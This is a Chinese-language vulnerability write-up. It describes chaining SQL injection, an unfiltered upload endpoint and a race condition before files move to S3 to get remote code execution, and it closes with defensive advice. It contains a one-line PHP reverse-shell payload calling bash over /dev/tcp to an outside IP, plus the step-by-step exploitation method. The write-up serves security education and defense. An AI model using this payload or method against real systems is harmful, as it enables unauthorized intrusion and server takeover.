挖洞经验 | 利用竞争条件(Race Condition)对目标Web应用实现RCE
字数 1528 2025-08-18 11:39:04
利用竞争条件(Race Condition)实现Web应用RCE漏洞分析
1. 漏洞背景
本文分析了一个通过组合SQL注入和竞争条件(Race Condition)漏洞,最终实现远程代码执行(RCE)的案例。该漏洞存在于一个Web应用的文件上传功能中,利用上传文件到服务器和服务器转移文件到Amazon S3之间的时间差实现攻击。
2. 竞争条件(Race Condition)原理
竞争条件是指计算机系统中由于多个进程或线程无序地访问有限资源而导致的不可预测行为。在本案例中表现为:
- 文件上传后会在本地服务器短暂存储(1-2秒)
- 之后会被转移到Amazon S3存储桶
- 攻击者可以利用这个时间窗口执行恶意代码
3. 漏洞发现过程
3.1 初始信息收集
攻击者首先通过SQL注入获取了管理员凭据,登录到管理后台。
3.2 第一个上传点分析(upload.php)
- 功能:用于发布新闻或文章
- 测试:尝试上传.php文件
- 限制:严格过滤.php扩展名
- 尝试了.PhP、.php3、phpphp等变种
- 尝试了空字符截断等方法
- 替代方案:尝试上传.html、.xml或.svg文件
- 上传成功但无价值,因为文件会被转移到S3
3.3 第二个上传点发现(modify.php)
在"news"栏目的编辑功能中发现:
- 通过"edit"按钮进入文件替换功能
- 调用modify.php而非upload.php
- 关键发现:无文件扩展名限制
- 成功上传了包含反弹shell代码的PHP文件:
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.20.30.40/21234 0>&1'");
3.4 问题出现
虽然上传成功,但文件仍会被转移到S3存储桶,导致无法直接利用。
4. 竞争条件漏洞利用
4.1 异常响应发现
使用Burp Suite Intruder进行批量上传测试时发现:
- 正常响应长度:1147字节
- 异常响应长度:1710字节
- 异常响应中包含上传文件的本地路径
4.2 响应分析
- 异常响应揭示了文件在被转移到S3前在服务器上的临时存储路径
- 直接访问该路径通常返回"File not Found",因为文件已被转移
- 推测文件在本地服务器上存在时间:1-2秒
4.3 利用策略
设计利用竞争条件的攻击流程:
- 在攻击机器上设置nc监听端口
- 上传反弹shell的PHP文件
- 发起多个并发请求触发竞争条件
- 从异常响应中获取文件本地路径
- 快速访问该路径并不断刷新(CTRL+R)
- 在文件被转移前成功执行恶意代码
4.4 攻击成功条件
- 需要在1-2秒的时间窗口内完成访问
- 需要足够快的网络连接和响应速度
- 可能需要多次尝试才能成功
5. 漏洞利用技术要点总结
- 多上传点测试:不要局限于单一上传功能,检查所有可能的文件操作接口
- 差异化过滤策略:不同功能点可能采用不同的安全策略
- 异常响应分析:关注响应长度、内容等细微差异
- 时间窗口利用:识别和利用系统处理流程中的时间差
- 自动化工具辅助:使用Burp Suite等工具进行批量测试和异常检测
6. 防御建议
- 统一文件上传处理:所有上传功能使用相同的安全检查和过滤逻辑
- 原子操作:确保文件操作是原子性的,避免中间状态
- 临时文件处理:
- 使用不可预测的临时文件名
- 设置严格的临时文件访问权限
- 日志监控:记录所有文件上传和访问操作
- 输入验证:实施严格的白名单文件类型验证
- 文件存储策略:
- 避免在Web可访问目录存储上传文件
- 考虑直接上传到云存储,避免本地临时存储
7. 技术总结
本案例展示了如何通过:
- 信息收集(SQL注入获取凭证)
- 功能分析(发现两个上传点)
- 绕过尝试(测试不同文件类型)
- 异常检测(发现竞争条件)
- 精确利用(把握时间窗口)
最终实现RCE的完整过程,强调了全面测试和细致观察在安全评估中的重要性。